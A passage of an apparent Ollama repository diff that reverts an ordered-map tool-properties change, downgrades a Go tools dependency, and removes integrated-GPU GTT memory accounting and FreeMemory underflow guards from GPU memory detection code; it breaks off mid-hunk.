 golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -330,8 +319,8 @@ golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapK
 golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
 golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
 golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
-golang.org/x/tools v0.38.0 h1:Hx2Xv8hISq8Lm16jvBZ2VQf+RLmbd7wVUsALibYI/IQ=
-golang.org/x/tools v0.38.0/go.mod h1:yEsQ/d/YK8cjh0L6rZlY8tgtlKiBNTL14pGDJPJpYQs=
+golang.org/x/tools v0.30.0 h1:BgcpHewrV5AUp2G9MebG4XPFI1E2W41zU1SaqVA9vJY=
+golang.org/x/tools v0.30.0/go.mod h1:c347cR/OJfw5TI+GfX7RUPNMdDRRbjvYTS0jPyvsVtY=
 golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

integration/tools_test.go

@@ -11,15 +11,6 @@ import (
 	"github.com/ollama/ollama/api"
 )
 
-// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests)
-func testPropsMap(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for k, v := range m {
-		props.Set(k, v)
-	}
-	return props
-}
-
 func TestAPIToolCalling(t *testing.T) {
 	initialTimeout := 60 * time.Second
 	streamTimeout := 60 * time.Second
@@ -66,12 +57,12 @@ func TestAPIToolCalling(t *testing.T) {
 						Parameters: api.ToolFunctionParameters{
 							Type:     "object",
 							Required: []string{"location"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "The city and state, e.g. San Francisco, CA",
 								},
-							}),
+							},
 						},
 					},
 				},

internal/orderedmap/orderedmap.go

@@ -1,94 +0,0 @@
-// Package orderedmap provides a generic ordered map that maintains insertion order.
-// It wraps github.com/wk8/go-ordered-map/v2 to encapsulate the dependency.
-package orderedmap
-
-import (
-	"encoding/json"
-	"iter"
-
-	orderedmap "github.com/wk8/go-ordered-map/v2"
-)
-
-// Map is a generic ordered map that maintains insertion order.
-type Map[K comparable, V any] struct {
-	om *orderedmap.OrderedMap[K, V]
-}
-
-// New creates a new empty ordered map.
-func New[K comparable, V any]() *Map[K, V] {
-	return &Map[K, V]{
-		om: orderedmap.New[K, V](),
-	}
-}
-
-// Get retrieves a value by key.
-func (m *Map[K, V]) Get(key K) (V, bool) {
-	if m == nil || m.om == nil {
-		var zero V
-		return zero, false
-	}
-	return m.om.Get(key)
-}
-
-// Set sets a key-value pair. If the key already exists, its value is updated
-// but its position in the iteration order is preserved. If the key is new,
-// it is appended to the end.
-func (m *Map[K, V]) Set(key K, value V) {
-	if m == nil {
-		return
-	}
-	if m.om == nil {
-		m.om = orderedmap.New[K, V]()
-	}
-	m.om.Set(key, value)
-}
-
-// Len returns the number of entries.
-func (m *Map[K, V]) Len() int {
-	if m == nil || m.om == nil {
-		return 0
-	}
-	return m.om.Len()
-}
-
-// All returns an iterator over all key-value pairs in insertion order.
-func (m *Map[K, V]) All() iter.Seq2[K, V] {
-	return func(yield func(K, V) bool) {
-		if m == nil || m.om == nil {
-			return
-		}
-		for pair := m.om.Oldest(); pair != nil; pair = pair.Next() {
-			if !yield(pair.Key, pair.Value) {
-				return
-			}
-		}
-	}
-}
-
-// ToMap converts to a regular Go map.
-// Note: The resulting map does not preserve order.
-func (m *Map[K, V]) ToMap() map[K]V {
-	if m == nil || m.om == nil {
-		return nil
-	}
-	result := make(map[K]V, m.om.Len())
-	for pair := m.om.Oldest(); pair != nil; pair = pair.Next() {
-		result[pair.Key] = pair.Value
-	}
-	return result
-}
-
-// MarshalJSON implements json.Marshaler. The JSON output preserves key order.
-func (m *Map[K, V]) MarshalJSON() ([]byte, error) {
-	if m == nil || m.om == nil {
-		return []byte("null"), nil
-	}
-	return json.Marshal(m.om)
-}
-
-// UnmarshalJSON implements json.Unmarshaler. The insertion order matches the
-// order of keys in the JSON input.
-func (m *Map[K, V]) UnmarshalJSON(data []byte) error {
-	m.om = orderedmap.New[K, V]()
-	return json.Unmarshal(data, &m.om)
-}

internal/orderedmap/orderedmap_test.go

@@ -1,348 +0,0 @@
-package orderedmap
-
-import (
-	"encoding/json"
-	"slices"
-	"testing"
-)
-
-func TestMap_BasicOperations(t *testing.T) {
-	m := New[string, int]()
-
-	// Test empty map
-	if m.Len() != 0 {
-		t.Errorf("expected Len() = 0, got %d", m.Len())
-	}
-	v, ok := m.Get("a")
-	if ok {
-		t.Error("expected Get on empty map to return false")
-	}
-	if v != 0 {
-		t.Errorf("expected zero value, got %d", v)
-	}
-
-	// Test Set and Get
-	m.Set("a", 1)
-	m.Set("b", 2)
-	m.Set("c", 3)
-
-	if m.Len() != 3 {
-		t.Errorf("expected Len() = 3, got %d", m.Len())
-	}
-
-	v, ok = m.Get("a")
-	if !ok || v != 1 {
-		t.Errorf("expected Get(a) = (1, true), got (%d, %v)", v, ok)
-	}
-
-	v, ok = m.Get("b")
-	if !ok || v != 2 {
-		t.Errorf("expected Get(b) = (2, true), got (%d, %v)", v, ok)
-	}
-
-	v, ok = m.Get("c")
-	if !ok || v != 3 {
-		t.Errorf("expected Get(c) = (3, true), got (%d, %v)", v, ok)
-	}
-
-	// Test updating existing key preserves position
-	m.Set("a", 10)
-	v, ok = m.Get("a")
-	if !ok || v != 10 {
-		t.Errorf("expected Get(a) = (10, true), got (%d, %v)", v, ok)
-	}
-	if m.Len() != 3 {
-		t.Errorf("expected Len() = 3 after update, got %d", m.Len())
-	}
-}
-
-func TestMap_InsertionOrderPreserved(t *testing.T) {
-	m := New[string, int]()
-
-	// Insert in non-alphabetical order
-	m.Set("z", 1)
-	m.Set("a", 2)
-	m.Set("m", 3)
-	m.Set("b", 4)
-
-	// Verify iteration order matches insertion order
-	var keys []string
-	var values []int
-	for k, v := range m.All() {
-		keys = append(keys, k)
-		values = append(values, v)
-	}
-
-	expectedKeys := []string{"z", "a", "m", "b"}
-	expectedValues := []int{1, 2, 3, 4}
-
-	if !slices.Equal(keys, expectedKeys) {
-		t.Errorf("expected keys %v, got %v", expectedKeys, keys)
-	}
-	if !slices.Equal(values, expectedValues) {
-		t.Errorf("expected values %v, got %v", expectedValues, values)
-	}
-}
-
-func TestMap_UpdatePreservesPosition(t *testing.T) {
-	m := New[string, int]()
-
-	m.Set("first", 1)
-	m.Set("second", 2)
-	m.Set("third", 3)
-
-	// Update middle element
-	m.Set("second", 20)
-
-	var keys []string
-	for k := range m.All() {
-		keys = append(keys, k)
-	}
-
-	// Order should still be first, second, third
-	expected := []string{"first", "second", "third"}
-	if !slices.Equal(keys, expected) {
-		t.Errorf("expected keys %v, got %v", expected, keys)
-	}
-}
-
-func TestMap_MarshalJSON_PreservesOrder(t *testing.T) {
-	m := New[string, int]()
-
-	// Insert in non-alphabetical order
-	m.Set("z", 1)
-	m.Set("a", 2)
-	m.Set("m", 3)
-
-	data, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("Marshal failed: %v", err)
-	}
-
-	// JSON should preserve insertion order, not alphabetical
-	expected := `{"z":1,"a":2,"m":3}`
-	if string(data) != expected {
-		t.Errorf("expected %s, got %s", expected, string(data))
-	}
-}
-
-func TestMap_UnmarshalJSON_PreservesOrder(t *testing.T) {
-	// JSON with non-alphabetical key order
-	jsonData := `{"z":1,"a":2,"m":3}`
-
-	m := New[string, int]()
-	if err := json.Unmarshal([]byte(jsonData), m); err != nil {
-		t.Fatalf("Unmarshal failed: %v", err)
-	}
-
-	// Verify iteration order matches JSON order
-	var keys []string
-	for k := range m.All() {
-		keys = append(keys, k)
-	}
-
-	expected := []string{"z", "a", "m"}
-	if !slices.Equal(keys, expected) {
-		t.Errorf("expected keys %v, got %v", expected, keys)
-	}
-}
-
-func TestMap_JSONRoundTrip(t *testing.T) {
-	// Test that unmarshal -> marshal produces identical JSON
-	original := `{"zebra":"z","apple":"a","mango":"m","banana":"b"}`
-
-	m := New[string, string]()
-	if err := json.Unmarshal([]byte(original), m); err != nil {
-		t.Fatalf("Unmarshal failed: %v", err)
-	}
-
-	data, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("Marshal failed: %v", err)
-	}
-
-	if string(data) != original {
-		t.Errorf("round trip failed: expected %s, got %s", original, string(data))
-	}
-}
-
-func TestMap_ToMap(t *testing.T) {
-	m := New[string, int]()
-	m.Set("a", 1)
-	m.Set("b", 2)
-
-	regular := m.ToMap()
-
-	if len(regular) != 2 {
-		t.Errorf("expected len 2, got %d", len(regular))
-	}
-	if regular["a"] != 1 {
-		t.Errorf("expected regular[a] = 1, got %d", regular["a"])
-	}
-	if regular["b"] != 2 {
-		t.Errorf("expected regular[b] = 2, got %d", regular["b"])
-	}
-}
-
-func TestMap_NilSafety(t *testing.T) {
-	var m *Map[string, int]
-
-	// All operations should be safe on nil
-	if m.Len() != 0 {
-		t.Errorf("expected Len() = 0 on nil map, got %d", m.Len())
-	}
-
-	v, ok := m.Get("a")
-	if ok {
-		t.Error("expected Get on nil map to return false")
-	}
-	if v != 0 {
-		t.Errorf("expected zero value from nil map, got %d", v)
-	}
-
-	// Set on nil is a no-op
-	m.Set("a", 1)
-	if m.Len() != 0 {
-		t.Errorf("expected Len() = 0 after Set on nil, got %d", m.Len())
-	}
-
-	// All returns empty iterator
-	var keys []string
-	for k := range m.All() {
-		keys = append(keys, k)
-	}
-	if len(keys) != 0 {
-		t.Errorf("expected empty iteration on nil map, got %v", keys)
-	}
-
-	// ToMap returns nil
-	if m.ToMap() != nil {
-		t.Error("expected ToMap to return nil on nil map")
-	}
-
-	// MarshalJSON returns null
-	data, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("Marshal failed: %v", err)
-	}
-	if string(data) != "null" {
-		t.Errorf("expected null, got %s", string(data))
-	}
-}
-
-func TestMap_EmptyMapMarshal(t *testing.T) {
-	m := New[string, int]()
-
-	data, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("Marshal failed: %v", err)
-	}
-	if string(data) != "{}" {
-		t.Errorf("expected {}, got %s", string(data))
-	}
-}
-
-func TestMap_NestedValues(t *testing.T) {
-	m := New[string, any]()
-	m.Set("string", "hello")
-	m.Set("number", 42)
-	m.Set("bool", true)
-	m.Set("nested", map[string]int{"x": 1})
-
-	data, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("Marshal failed: %v", err)
-	}
-
-	expected := `{"string":"hello","number":42,"bool":true,"nested":{"x":1}}`
-	if string(data) != expected {
-		t.Errorf("expected %s, got %s", expected, string(data))
-	}
-}
-
-func TestMap_AllIteratorEarlyExit(t *testing.T) {
-	m := New[string, int]()
-	m.Set("a", 1)
-	m.Set("b", 2)
-	m.Set("c", 3)
-	m.Set("d", 4)
-
-	// Collect only first 2
-	var keys []string
-	for k := range m.All() {
-		keys = append(keys, k)
-		if len(keys) == 2 {
-			break
-		}
-	}
-
-	expected := []string{"a", "b"}
-	if !slices.Equal(keys, expected) {
-		t.Errorf("expected %v, got %v", expected, keys)
-	}
-}
-
-func TestMap_IntegerKeys(t *testing.T) {
-	m := New[int, string]()
-	m.Set(3, "three")
-	m.Set(1, "one")
-	m.Set(2, "two")
-
-	var keys []int
-	for k := range m.All() {
-		keys = append(keys, k)
-	}
-
-	// Should preserve insertion order, not numerical order
-	expected := []int{3, 1, 2}
-	if !slices.Equal(keys, expected) {
-		t.Errorf("expected %v, got %v", expected, keys)
-	}
-}
-
-func TestMap_UnmarshalIntoExisting(t *testing.T) {
-	m := New[string, int]()
-	m.Set("existing", 999)
-
-	// Unmarshal should replace contents
-	if err := json.Unmarshal([]byte(`{"new":1}`), m); err != nil {
-		t.Fatalf("Unmarshal failed: %v", err)
-	}
-
-	_, ok := m.Get("existing")
-	if ok {
-		t.Error("existing key should be gone after unmarshal")
-	}
-
-	v, ok := m.Get("new")
-	if !ok || v != 1 {
-		t.Errorf("expected Get(new) = (1, true), got (%d, %v)", v, ok)
-	}
-}
-
-func TestMap_LargeOrderPreservation(t *testing.T) {
-	m := New[string, int]()
-
-	// Create many keys in specific order
-	keys := make([]string, 100)
-	for i := range 100 {
-		keys[i] = string(rune('a' + (99 - i))) // reverse order: 'd', 'c', 'b', 'a' (extended)
-		if i >= 26 {
-			keys[i] = string(rune('A'+i-26)) + string(rune('a'+i%26))
-		}
-	}
-
-	for i, k := range keys {
-		m.Set(k, i)
-	}
-
-	// Verify order preserved
-	var resultKeys []string
-	for k := range m.All() {
-		resultKeys = append(resultKeys, k)
-	}
-
-	if !slices.Equal(keys, resultKeys) {
-		t.Error("large map should preserve insertion order")
-	}
-}

llama/patches/0024-GPU-discovery-enhancements.patch

@@ -20,10 +20,10 @@ fix vulkan PCI ID and ID handling
  ggml/src/ggml-cuda/vendors/hip.h     |   3 +
  ggml/src/ggml-impl.h                 |   8 +
  ggml/src/ggml-metal/ggml-metal.cpp   |   2 +
- ggml/src/ggml-vulkan/ggml-vulkan.cpp | 169 +++++++-
- ggml/src/mem_hip.cpp                 | 558 +++++++++++++++++++++++++++
- ggml/src/mem_nvml.cpp                | 209 ++++++++++
- 9 files changed, 1005 insertions(+), 17 deletions(-)
+ ggml/src/ggml-vulkan/ggml-vulkan.cpp | 169 ++++++++-
+ ggml/src/mem_hip.cpp                 | 529 +++++++++++++++++++++++++++
+ ggml/src/mem_nvml.cpp                | 209 +++++++++++
+ 9 files changed, 976 insertions(+), 17 deletions(-)
  create mode 100644 ggml/src/mem_hip.cpp
  create mode 100644 ggml/src/mem_nvml.cpp
 
@@ -58,7 +58,7 @@ index d55aed348..99ae293cc 100644
  
  set_target_properties(ggml-base PROPERTIES
 diff --git a/ggml/src/ggml-cuda/ggml-cuda.cu b/ggml/src/ggml-cuda/ggml-cuda.cu
-index 6852d2e20..334a30135 100644
+index 6852d2e20..48cdb1dcf 100644
 --- a/ggml/src/ggml-cuda/ggml-cuda.cu
 +++ b/ggml/src/ggml-cuda/ggml-cuda.cu
 @@ -267,6 +267,16 @@ static ggml_cuda_device_info ggml_cuda_init() {
@@ -109,7 +109,7 @@ index 6852d2e20..334a30135 100644
 +
 +#if defined(GGML_USE_HIP)
 +    if (ggml_hip_mgmt_init() == 0) {
-+        int status = ggml_hip_get_device_memory(ctx->pci_bus_id.c_str(), free, total, ctx->integrated != 0);
++        int status = ggml_hip_get_device_memory(ctx->pci_bus_id.c_str(), free, total);
 +        if (status == 0) {
 +            GGML_LOG_DEBUG("%s device %s utilizing AMD specific memory reporting free: %zu total: %zu\n", __func__, ctx->pci_bus_id.c_str(), *free, *total);
 +            ggml_hip_mgmt_release();
@@ -204,7 +204,7 @@ index 4e162258d..d89e35a8e 100644
  #define cudaErrorPeerAccessAlreadyEnabled hipErrorPeerAccessAlreadyEnabled
  #define cudaErrorPeerAccessNotEnabled hipErrorPeerAccessNotEnabled
 diff --git a/ggml/src/ggml-impl.h b/ggml/src/ggml-impl.h
-index fe57d4c58..dba8f4695 100644
+index fe57d4c58..1c07e767a 100644
 --- a/ggml/src/ggml-impl.h
 +++ b/ggml/src/ggml-impl.h
 @@ -677,6 +677,14 @@ static inline bool ggml_can_fuse_subgraph(const struct ggml_cgraph * cgraph,
@@ -216,7 +216,7 @@ index fe57d4c58..dba8f4695 100644
 +GGML_API int ggml_nvml_get_device_memory(const char *uuid, size_t *free, size_t *total);
 +GGML_API void ggml_nvml_release();
 +GGML_API int ggml_hip_mgmt_init();
-+GGML_API int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool is_integrated_gpu);
++GGML_API int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total);
 +GGML_API void ggml_hip_mgmt_release();
 +
  #ifdef __cplusplus
@@ -243,7 +243,7 @@ index ba95b4acc..f6f8f7a10 100644
          /* .async                 = */ true,
          /* .host_buffer           = */ false,
 diff --git a/ggml/src/ggml-vulkan/ggml-vulkan.cpp b/ggml/src/ggml-vulkan/ggml-vulkan.cpp
-index 5349bce24..0103fd03a 100644
+index 5349bce24..d43d46d1d 100644
 --- a/ggml/src/ggml-vulkan/ggml-vulkan.cpp
 +++ b/ggml/src/ggml-vulkan/ggml-vulkan.cpp
 @@ -236,6 +236,7 @@ class vk_memory_logger;
@@ -334,7 +334,7 @@ index 5349bce24..0103fd03a 100644
 +        switch (props2.properties.vendorID) {
 +        case VK_VENDOR_ID_AMD:
 +            if (ggml_hip_mgmt_init() == 0) {
-+                int status = ggml_hip_get_device_memory(ctx->pci_id != "" ? ctx->pci_id.c_str() : ctx->uuid.c_str(), free, total, ctx->is_integrated_gpu);
++                int status = ggml_hip_get_device_memory(ctx->pci_id != "" ? ctx->pci_id.c_str() : ctx->uuid.c_str(), free, total);
 +                if (status == 0) {
 +                    GGML_LOG_DEBUG("%s device %s utilizing AMD specific memory reporting free: %zu total: %zu\n", __func__, ctx->pci_id != "" ? ctx->pci_id.c_str() : ctx->uuid.c_str(), *free, *total);
 +                    ggml_hip_mgmt_release();
@@ -505,10 +505,10 @@ index 5349bce24..0103fd03a 100644
          }
 diff --git a/ggml/src/mem_hip.cpp b/ggml/src/mem_hip.cpp
 new file mode 100644
-index 000000000..23c765806
+index 000000000..c1949b899
 --- /dev/null
 +++ b/ggml/src/mem_hip.cpp
-@@ -0,0 +1,558 @@
+@@ -0,0 +1,529 @@
 +#include "ggml.h"
 +#include "ggml-impl.h"
 +
@@ -842,7 +842,7 @@ index 000000000..23c765806
 +    if (gpus != NULL) gpus->pVtbl->Release(gpus); \
 +    if (gpu != NULL) gpu->pVtbl->Release(gpu)
 +
-+int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool is_integrated_gpu) {
++int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total) {
 +    std::lock_guard<std::mutex> lock(ggml_adlx_lock);
 +    if (adlx.handle == NULL) {
 +        GGML_LOG_INFO("%s ADLX was not initialized\n", __func__);
@@ -966,16 +966,13 @@ index 000000000..23c765806
 +    return 0;
 +}
 +void ggml_hip_mgmt_release() {}
-+int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool is_integrated_gpu) {
++int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total) {
 +    GGML_LOG_INFO("%s searching for device %s\n", __func__, id);
 +    const std::string drmDeviceGlob = "/sys/class/drm/card*/device/uevent";
 +    const std::string drmTotalMemoryFile = "mem_info_vram_total";
 +    const std::string drmUsedMemoryFile = "mem_info_vram_used";
-+    const std::string drmGTTTotalMemoryFile = "mem_info_gtt_total";
-+    const std::string drmGTTUsedMemoryFile = "mem_info_gtt_used";
 +    const std::string drmUeventPCISlotLabel = "PCI_SLOT_NAME=";
 +
-+
 +    glob_t glob_result;
 +    glob(drmDeviceGlob.c_str(), GLOB_NOSORT, NULL, &glob_result);
 +
@@ -1009,6 +1006,7 @@ index 000000000..23c765806
 +
 +                    uint64_t memory;
 +                    totalFileStream >> memory;
++                    *total = memory;
 +
 +                    std::string usedFile = dir + "/" + drmUsedMemoryFile;
 +                    std::ifstream usedFileStream(usedFile.c_str());
@@ -1021,33 +1019,6 @@ index 000000000..23c765806
 +
 +                    uint64_t memoryUsed;
 +                    usedFileStream >> memoryUsed;
-+
-+                    if (is_integrated_gpu) {
-+                        std::string totalFile = dir + "/" + drmGTTTotalMemoryFile;
-+                        std::ifstream totalFileStream(totalFile.c_str());
-+                        if (!totalFileStream.is_open()) {
-+                            GGML_LOG_DEBUG("%s Failed to read sysfs node %s\n", __func__, totalFile.c_str());
-+                            file.close();
-+                            globfree(&glob_result);
-+                            return 1;
-+                        }
-+                        uint64_t gtt;
-+                        totalFileStream >> gtt;
-+                        std::string usedFile = dir + "/" + drmGTTUsedMemoryFile;
-+                        std::ifstream usedFileStream(usedFile.c_str());
-+                        if (!usedFileStream.is_open()) {
-+                            GGML_LOG_DEBUG("%s Failed to read sysfs node %s\n", __func__, usedFile.c_str());
-+                            file.close();
-+                            globfree(&glob_result);
-+                            return 1;
-+                        }
-+                        uint64_t gttUsed;
-+                        usedFileStream >> gttUsed;
-+                        memory += gtt;
-+                        memoryUsed += gttUsed;
-+                    }
-+
-+                    *total = memory;
 +                    *free = memory - memoryUsed;
 +
 +                    file.close();

llama/patches/0028-Add-memory-detection-using-DXGI-PDH.patch

@@ -24,12 +24,12 @@ index 99ae293cc..9a134b7af 100644
  
  set_target_properties(ggml-base PROPERTIES
 diff --git a/ggml/src/ggml-impl.h b/ggml/src/ggml-impl.h
-index dba8f4695..7e17032c7 100644
+index 1c07e767a..0da3e065b 100644
 --- a/ggml/src/ggml-impl.h
 +++ b/ggml/src/ggml-impl.h
 @@ -684,6 +684,9 @@ GGML_API void ggml_nvml_release();
  GGML_API int ggml_hip_mgmt_init();
- GGML_API int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool is_integrated_gpu);
+ GGML_API int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total);
  GGML_API void ggml_hip_mgmt_release();
 +GGML_API int ggml_dxgi_pdh_init();
 +GGML_API int ggml_dxgi_pdh_get_device_memory(const char* luid, size_t *free, size_t *total, bool is_integrated_gpu);
@@ -38,7 +38,7 @@ index dba8f4695..7e17032c7 100644
  #ifdef __cplusplus
  }
 diff --git a/ggml/src/ggml-vulkan/ggml-vulkan.cpp b/ggml/src/ggml-vulkan/ggml-vulkan.cpp
-index 0103fd03a..9cc4ebdef 100644
+index d43d46d1d..df79f9f79 100644
 --- a/ggml/src/ggml-vulkan/ggml-vulkan.cpp
 +++ b/ggml/src/ggml-vulkan/ggml-vulkan.cpp
 @@ -74,6 +74,7 @@ DispatchLoaderDynamic & ggml_vk_default_dispatcher();

llama/patches/0029-ggml-cuda-skip-large-batches.patch

@@ -10,7 +10,7 @@ fallback to cpu
  1 file changed, 3 insertions(+)
 
 diff --git a/ggml/src/ggml-cuda/ggml-cuda.cu b/ggml/src/ggml-cuda/ggml-cuda.cu
-index 334a30135..5c9dfd032 100644
+index 48cdb1dcf..3102d7ea7 100644
 --- a/ggml/src/ggml-cuda/ggml-cuda.cu
 +++ b/ggml/src/ggml-cuda/ggml-cuda.cu
 @@ -4633,6 +4633,9 @@ static bool ggml_backend_cuda_device_supports_op(ggml_backend_dev_t dev, const g

llm/server.go

@@ -524,13 +524,8 @@ func (s *llamaServer) Load(ctx context.Context, systemInfo ml.SystemInfo, system
 	// Use the size of one layer as a buffer
 	layers := s.ggml.Tensors().GroupLayers()
 	if blk0, ok := layers["blk.0"]; ok {
-		buffer := blk0.Size() + kv[0]
 		for i := range gpus {
-			if gpus[i].FreeMemory > buffer {
-				gpus[i].FreeMemory -= buffer
-			} else {
-				gpus[i].FreeMemory = 0
-			}
+			gpus[i].FreeMemory -= blk0.Size() + kv[0]
 		}
 	} else {
 		slog.Warn("model missing blk.0 layer size")
@@ -580,11 +575,7 @@ func (s *llamaServer) Load(ctx context.Context, systemInfo ml.SystemInfo, system
 			projectorGPU = firstIntegrated
 		}
 
-		if gpus[projectorGPU].FreeMemory > projectorWeights {
-			gpus[projectorGPU].FreeMemory -= projectorWeights
-		} else {
-			gpus[projectorGPU].FreeMemory = 0
-		}
+		gpus[projectorGPU].FreeMemory -= projectorWeights
 	}
 
 	var kvTotal uint64

middleware/openai_test.go

@@ -19,40 +19,6 @@ import (
 	"github.com/ollama/ollama/openai"
 )
 
-// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests)
-func testPropsMap(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for k, v := range m {
-		props.Set(k, v)
-	}
-	return props
-}
-
-// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests)
-func testArgs(m map[string]any) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	for k, v := range m {
-		args.Set(k, v)
-	}
-	return args
-}
-
-// argsComparer provides cmp options for comparing ToolCallFunctionArguments by value
-var argsComparer = cmp.Comparer(func(a, b api.ToolCallFunctionArguments) bool {
-	return cmp.Equal(a.ToMap(), b.ToMap())
-})
-
-// propsComparer provides cmp options for comparing ToolPropertiesMap by value
-var propsComparer = cmp.Comparer(func(a, b *api.ToolPropertiesMap) bool {
-	if a == nil && b == nil {
-		return true
-	}
-	if a == nil || b == nil {
-		return false
-	}
-	return cmp.Equal(a.ToMap(), b.ToMap())
-})
-
 const (
 	prefix = `data:image/jpeg;base64,`
 	image  = `iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=`
@@ -255,10 +221,10 @@ func TestChatMiddleware(t *testing.T) {
 								ID: "id",
 								Function: api.ToolCallFunction{
 									Name: "get_current_weather",
-									Arguments: testArgs(map[string]any{
+									Arguments: map[string]any{
 										"location": "Paris, France",
 										"format":   "celsius",
-									}),
+									},
 								},
 							},
 						},
@@ -295,10 +261,10 @@ func TestChatMiddleware(t *testing.T) {
 								ID: "id",
 								Function: api.ToolCallFunction{
 									Name: "get_current_weather",
-									Arguments: testArgs(map[string]any{
+									Arguments: map[string]any{
 										"location": "Paris, France",
 										"format":   "celsius",
-									}),
+									},
 								},
 							},
 						},
@@ -334,10 +300,10 @@ func TestChatMiddleware(t *testing.T) {
 								ID: "id",
 								Function: api.ToolCallFunction{
 									Name: "get_current_weather",
-									Arguments: testArgs(map[string]any{
+									Arguments: map[string]any{
 										"location": "Paris, France",
 										"format":   "celsius",
-									}),
+									},
 								},
 							},
 						},
@@ -374,10 +340,10 @@ func TestChatMiddleware(t *testing.T) {
 								ID: "id",
 								Function: api.ToolCallFunction{
 									Name: "get_current_weather",
-									Arguments: testArgs(map[string]any{
+									Arguments: map[string]any{
 										"location": "Paris, France",
 										"format":   "celsius",
-									}),
+									},
 								},
 							},
 						},
@@ -414,10 +380,10 @@ func TestChatMiddleware(t *testing.T) {
 								ID: "id_abc",
 								Function: api.ToolCallFunction{
 									Name: "get_current_weather",
-									Arguments: testArgs(map[string]any{
+									Arguments: map[string]any{
 										"location": "Paris, France",
 										"format":   "celsius",
-									}),
+									},
 								},
 							},
 						},
@@ -460,10 +426,10 @@ func TestChatMiddleware(t *testing.T) {
 								ID: "id",
 								Function: api.ToolCallFunction{
 									Name: "get_current_weather",
-									Arguments: testArgs(map[string]any{
+									Arguments: map[string]any{
 										"location": "Paris, France",
 										"format":   "celsius",
-									}),
+									},
 								},
 							},
 						},
@@ -528,7 +494,7 @@ func TestChatMiddleware(t *testing.T) {
 							Parameters: api.ToolFunctionParameters{
 								Type:     "object",
 								Required: []string{"location"},
-								Properties: testPropsMap(map[string]api.ToolProperty{
+								Properties: map[string]api.ToolProperty{
 									"location": {
 										Type:        api.PropertyType{"string"},
 										Description: "The city and state",
@@ -537,7 +503,7 @@ func TestChatMiddleware(t *testing.T) {
 										Type: api.PropertyType{"string"},
 										Enum: []any{"celsius", "fahrenheit"},
 									},
-								}),
+								},
 							},
 						},
 					},
@@ -592,7 +558,7 @@ func TestChatMiddleware(t *testing.T) {
 				}
 				return
 			}
-			if diff := cmp.Diff(&tc.req, capturedRequest, argsComparer, propsComparer); diff != "" {
+			if diff := cmp.Diff(&tc.req, capturedRequest); diff != "" {
 				t.Fatalf("requests did not match: %+v", diff)
 			}
 			if diff := cmp.Diff(tc.err, errResp); diff != "" {

ml/backend/ggml/ggml/src/ggml-cuda/ggml-cuda.cu

@@ -4436,7 +4436,7 @@ static void ggml_backend_cuda_device_get_memory(ggml_backend_dev_t dev, size_t *
 
 #if defined(GGML_USE_HIP)
     if (ggml_hip_mgmt_init() == 0) {
-        int status = ggml_hip_get_device_memory(ctx->pci_bus_id.c_str(), free, total, ctx->integrated != 0);
+        int status = ggml_hip_get_device_memory(ctx->pci_bus_id.c_str(), free, total);
         if (status == 0) {
             GGML_LOG_DEBUG("%s device %s utilizing AMD specific memory reporting free: %zu total: %zu\n", __func__, ctx->pci_bus_id.c_str(), *free, *total);
             ggml_hip_mgmt_release();

ml/backend/ggml/ggml/src/ggml-impl.h

@@ -682,7 +682,7 @@ GGML_API int ggml_nvml_init();
 GGML_API int ggml_nvml_get_device_memory(const char *uuid, size_t *free, size_t *total);
 GGML_API void ggml_nvml_release();
 GGML_API int ggml_hip_mgmt_init();
-GGML_API int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool is_integrated_gpu);
+GGML_API int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total);
 GGML_API void ggml_hip_mgmt_release();
 GGML_API int ggml_dxgi_pdh_init();
 GGML_API int ggml_dxgi_pdh_get_device_memory(const char* luid, size_t *free, size_t *total, bool is_integrated_gpu);

ml/backend/ggml/ggml/src/ggml-vulkan/ggml-vulkan.cpp

@@ -13710,7 +13710,7 @@ void ggml_backend_vk_get_device_memory(ggml_backend_vk_device_context *ctx, size
         switch (props2.properties.vendorID) {
         case VK_VENDOR_ID_AMD:
